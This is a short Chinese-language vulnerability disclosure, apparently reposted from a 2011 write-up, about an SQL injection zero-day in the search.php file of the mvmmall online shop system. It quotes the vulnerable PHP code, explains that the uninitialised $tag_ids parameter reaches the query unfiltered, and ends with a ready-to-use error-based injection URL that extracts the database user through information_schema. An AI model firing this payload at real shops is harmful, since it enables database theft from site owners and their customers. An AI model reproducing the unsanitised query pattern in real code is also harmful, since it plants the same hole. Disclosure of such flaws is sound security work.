简要描述
mvmmall网店商城系统SQL注入0day问题出在搜索search.php这个文件上。
详细说明
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| require_once ‘include/common.inc.php’; require_once ROOTPATH.’header.php’; if($action!=’search’){ $search_key = ”; if (isset($ps_search)) { $tag_ids = array(); while ($row = $db->fetch_array($result)) { $tag_ids[] = $row['goods_id']; } }
}
$tag_ids = array_unique($tag_ids); $tag_search = implode(‘,’,dhtmlchars($tag_ids)); $tag_search && $tag_search = “OR uid IN($tag_search)”;
$search_sql = “WHERE upv = ’1′ AND up_date<=’$m_now_time’”.” AND (( 1 ” . $cat_search . $search_key . $brand_search . $min_search . $max_search .” ) “.$tag_search.” )”; $total_count = $db->counter($mvm_goods_table,$search_sql);
|
根据程序逻辑,如果ps_search存在就进行if处理,没有ps_search就没其他处理,因此$tag_ids没进行初始化,我们可以自行输入,$tag_ids也没有进行SQL特殊字符过滤,dhtmlchars过滤html标签对构造语句没影响,注入语句中也没有单引号。
漏洞payload
1
| http://URL/search.php?tag_ids[goods_id]=uid))%20and(select%201%20from(select%20count(*),concat((select%20(select%20user())%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%20and%201=1%23
|
原文链接:mvmmall网店商城系统注入漏洞-2011.07